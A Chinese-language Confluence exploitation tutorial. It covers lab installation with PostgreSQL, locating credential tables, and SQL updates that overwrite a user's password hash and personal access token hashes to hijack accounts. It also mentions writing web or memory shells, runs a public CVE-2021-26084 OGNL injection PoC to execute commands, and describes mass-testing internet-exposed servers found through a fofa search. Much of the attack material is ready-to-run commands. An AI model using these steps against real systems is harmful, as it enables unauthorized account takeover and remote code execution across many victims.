Confluence利用指南
0x00 前言
Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。
前不久爆出了漏洞CVE-2021-26084 - Confluence Server Webwork OGNL injection,本文仅在技术研究的角度介绍Confluence的相关知识。
0x01 confluence环境搭建
环境搭建的参考资料:
Windows:
https://confluence.atlassian.com/doc/installing-confluence-on-windows-255362047.html
Linux:
https://confluence.atlassian.com/doc/installing-confluence-on-linux-143556824.html
本文以Centos7搭建Confluence为例进行介绍。
1.配置数据库
这里选择PostgreSQL,安装的参考资料:
https://confluence.atlassian.com/doc/database-setup-for-postgresql-173244522.html
(1)安装PostgreSQL
访问地址:https://www.postgresql.org/download/linux/redhat/
获得安装命令,如下图
复制一下安装命令
1 | sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm |
安装完成后查看运行状态:
1 | systemctl status postgresql-13 |
(2)配置PostgreSQL
设置允许其他程序访问数据库:
修改/var/lib/pgsql/13/data/pg_hba.conf
,把METHOD
改为trust
,设置如下图
重启PostgreSQL:
1 | systemctl restart postgresql-13 |
补充:配置允许其他IP访问数据库
修改/var/lib/pgsql/13/data/pg_hba.conf
,将ADDRESS
改为0.0.0.0/0
,如下图
修改/var/lib/pgsql/13/data/postgresql.conf
设置listen_addresses = '*'
,如下图
重启PostgreSQL:
1 | systemctl restart postgresql-13 |
(3)数据库操作
PostgreSQL安装完成后会在本地操作系统创建一个名为postgres
的用户,默认没有口令
切换到用户postgres
:
1 | su postgres |
进入postgreSQL
1 | bash-4.2$ psql |
设置用户postgres的密码:
1 | postgres=# \password postgres |
查看创建用户的命令说明:
1 | postgres=# \h create user |
创建用户confluence:
1 | postgres=# create user confluence with password 'confluence' createdb login; |
创建数据库confluence:
1 | postgres=# create database confluence with owner=confluence encoding='UTF8'; |
测试用户登录:
1 | [root@wiki ~]# psql -h localhost -p 5432 -d confluence -U confluence |
2.安装Confluence
下载地址:https://www.atlassian.com/software/confluence/download-archives
选择一个版本7.11.3
下载时选择7.11.3 - Linux Installer (64 bit)
,如下图
执行安装命令
1 | [root@wiki ~]# ls |
在安装过程中,按下图操作
安装结束后,使用浏览器访问http://IP:8090
在设置Confluence页面,需要填入license,可以通过访问https://my.atlassian.com/license/evaluation获得,如下图
填入license
next
配置数据库信息,测试连接
接下来,依次设置content、manage users和administrator account页面(每个页面随便选一个就行)
最后的成功页面如下图
访问登录页面:http://IP:8090/welcome.action,如下图
3.创建Confluence普通用户
使用管理员帐户登录后,选择用户管理
进行用户配置,如下图
添加用户test1,配置如下图
注意:管理员账号对应以下两个组:
1 | confluence-administrators |
添加用户后,可访问http://localhost:8090/进行登录。
0x02 基础知识
1.文件目录
参考资料:
https://www.cwiki.us/display/CONF6ZH/Confluence+Home+and+other+important+directories
(1)<confluence-installation>
安装目录,用于存储系统文件
默认安装位置:
1 | Windows: C:/Program Files/Atlassian/Confluence/ |
(2)<confluence-home>
数据目录,用于存储数据
默认安装位置:
1 | Windows: C:/Program Files/Atlassian/Application Data/Confluence/ |
(3)二者之间的联系
<confluence-installation>/confluence/WEB-INF/classes/confluence-init.properties
文件中定义了<confluence-home>
的位置
2.数据库信息
存储数据库配置信息的位置: <confluence-home>/confluence.cfg.xml
3.用户信息
用户信息位于Confluence的数据库中
存储用户信息的表:CWD_USER
,具体列名称如下:
1 | user_name:用户名 |
directory_id
对应的具体用户组名称可通过以下方式查看:
- 查询表cwd_group中的
group_name
列,管理员用户组的值为confluence-administrators
- 查询表cwd_directory中的
directory_name
列,管理员用户组的值为Confluence Internal Directory
直接筛选出管理员用户的SQL命令:
1 | confluence=> select u.id,u.user_name,u.active,u.credential from cwd_user u join cwd_membership m on u.id=m.child_user_id join cwd_group g on m.parent_id=g.id join cwd_directory d on d.id=g.directory_id where g.group_name = 'confluence-administrators' and d.directory_name='Confluence Internal Directory'; |
4.日志文件位置
1 | <confluence-home>/logs/ |
5.Web路径
1 | <confluence-installation>/confluence/ |
Windows: Confluence默认权限为network service,具有写权限
Linux: Confluence默认权限为confluence,没有写权限
0x03 利用思路
1.修改数据库,实现用户登录
(1)修改用户登录口令
查看用户关键信息,命令如下:
1 | confluence=> select id,user_name,credential from cwd_user; |
修改用户test1的口令信息,命令如下:
1 | confluence=> UPDATE cwd_user SET credential= '{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm' WHERE id = 458754; |
确认数据库被修改,如下图
注:
{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm
对应的明文为123456
(2)修改Personal Access Tokens
使用Personal Access Tokens
可以实现免密登录
介绍资料:
1 | https://confluence.atlassian.com/bitbucketserver0610/personal-access-tokens-989761177.html |
测试环境下,Personal Access Tokens
对应表为AO_81F455_PERSONAL_TOKEN
查询语句:
1 | confluence=> select * from "AO_81F455_PERSONAL_TOKEN"; |
修改Personal Access Tokens,命令如下:
1 | confluence=> UPDATE "AO_81F455_PERSONAL_TOKEN" SET "HASHED_TOKEN"= '{PKCS5S2}Deoq/psifhVO0VE8qhJ6prfgOltOdJkeRH4cIxac9NtoXVodRQJciR95GW37gR7/' WHERE "ID" = 4; |
注:
1 | {PKCS5S2}Deoq/psifhVO0VE8qhJ6prfgOltOdJkeRH4cIxac9NtoXVodRQJciR95GW37gR7/`对应的token为`MjE0NTg4NjQ3MTk2OrQ5JtSJgT/rrRBmCY4zu+N+NaWZ |
2.写文件
Web路径:<confluence-installation>/confluence/
Windows: Confluence默认权限为network service,具有写权限
Linux: Confluence默认权限为confluence,没有写权限,但可以尝试内存马
0x04 CVE-2021-26084
1.受影响版本
1 | Confluence < 6.13.23 |
2.不受影响的版本
1 | Confluence=6.13.23 |
3.漏洞poc
1 | 1、https://github.com/FanqXu/CVE-2021-26084 |
4.漏洞复现
执行FanqXu/CVE-2021-26084的poc进行验证
1 | python3 Poc.py -u http://10.108.3.65:8090/ |
执行命令whoami
1 | python3 Poc.py -u http://10.108.3.65:8090/ -e whoami |
5.fofa批量
关键字搜索app="ATLASSIAN-Confluence"
使用fofa工具导出结果存到urls.txt,再使用FanqXu/CVE-2021-26084的poc进行批量验证即可。
使用的命令如下:
1 | python PoC.py -f urls.txt |